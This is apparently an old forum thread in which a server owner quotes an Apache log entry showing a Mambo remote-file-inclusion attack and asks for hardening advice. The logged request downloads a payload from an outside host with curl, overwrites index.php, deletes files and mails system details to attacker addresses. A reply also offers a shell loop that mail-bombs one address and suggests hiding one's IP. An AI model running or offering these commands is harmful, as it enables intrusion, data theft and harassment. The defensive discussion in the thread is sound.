php and apache hack
So I have a computer running apache, mysql, and php. I've noticed in my apache logs that some has been trying to get information form my system.
Over the past few days, this command has been issued. 211.213.178.106 - - [15/Jul/2006:12:22:08 -0500] "GET /mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLO BALS=&mosConfig_absolute_path=http://220.194.57.112/~photo/cm?&cmd=cd%20cache;curl%20-O%20http://220.194.57.112/~photo/cm;m v%20cm%20index.php;rm%20-rf%20cm*;uname%20-a%20|%20mail%20-s%20uname_i2_67.175.201.98%20kkparole@yahoo.com;uname%20-a%20|%2 0mail%20-s%20uname_i2_67.175.201.98%20michaelroul@yahoo.com;echo| HTTP/1.1" 404 65 Correct me if I'm wrong, but I believe they are trying to copy a file "cm" to my computer, overwrite index.php, and remove any evidence. Then they are emailing info about my system to a couple yahoo email addresses. This command is repeated for a bunch of sub-directories all looking for index.php. None of the subdirectories they looked for exist, and there is no index.php in the main directory, so I do't think any files were overwritten. There is nothing important on this computer, so if I have been compromised, re-installing is not a problem, but I would rather learn from this and tighten security, and try to track down anything else that may have happened. So I have a few questions. Some of these might be very simple. How can I disable mail so they could not email themselves? Was something actually executed on my computer? Any links for how php can be exploited to let a command be executed on a remote computer? What settings should I change for php, mysql, or apache to help stop these explots? |
The 404 indicates that the vulnerable application (mambo) is not installed on your system. Interestingly, you can get the hackers email addresses (two yahoo accounts) from the data they sent you. I doubt you'd be able to get anything done, however.
|
The gentleman (caca) is well lnown to me. My suggestion is to look at implementing mod-security and the common rules on your apache server if you are using php based apps. There are also modifications that should be made to php.ini such as turning globals off. You can view the code for the exploit by using the address before the "&cmd". He isn't trying to upload the app to your system. The code from this page is probing your system to find weaknesses in your system security.
Whilst there may not be anything important on your server you might find that your system is "acquired" by a hacker and applications such as IRC software is installed and a group then starts using your system as a meeting place. The most important thing is ensure that he doesn't get access to /. |
Send him a little gift?
Code:
for (( i=1 ; $i<1000 ; i=$(($i+1)) )) ; do head -c8000 /dev/urandom| od -An -tu4 | mail -s uname_i2_$(($i*$i%256)).$(($i*$i*$i%255)).$(($i*$i*$i%254)).$(($i*$i*$i*$i*$i%253)) kkparole@yahoo.com ; done |
What does that do nx?
|
It sends him 8000 emails in a few minutes
Fightback sometimes is good. Be sure to hide your IP when you do this.. Sorry mods if this is against the rules, delete it. Well its just a for loop after all :D |
How would someone be able to gain access to / since apache's root directory is /var/www ?
How do you hide your IP? Thanks for all the help. |
Unless apache's running in a chroot, the root directory for the server has no affect on controlling access to other directories.
Also, retaliation is unhelpful and probably illegal. Let's not sink to their level. :) |
Quote:
here and here. |
Thanks for all the replies.
What changes could I add in apache's security files that would make these or other attacks have less chances of succeeding? |
Really, if you're running a vulnerable application, apache won't stop it. However, there is a decent article on securing apache in general at http://www.securityfocus.com/infocus/1694. A similar article for PHP, by the same author, is can be found at http://www.securityfocus.com/infocus/1706.
|
Thanks for the links
|
No problem. Let me know if I can expand on any of the content in those articles.
|
Look like someone trying to fine vulnerable mambo system
http://seclists.org/lists/fulldisclo.../Mar/0176.html |
All times are GMT -5. The time now is 03:56 PM. |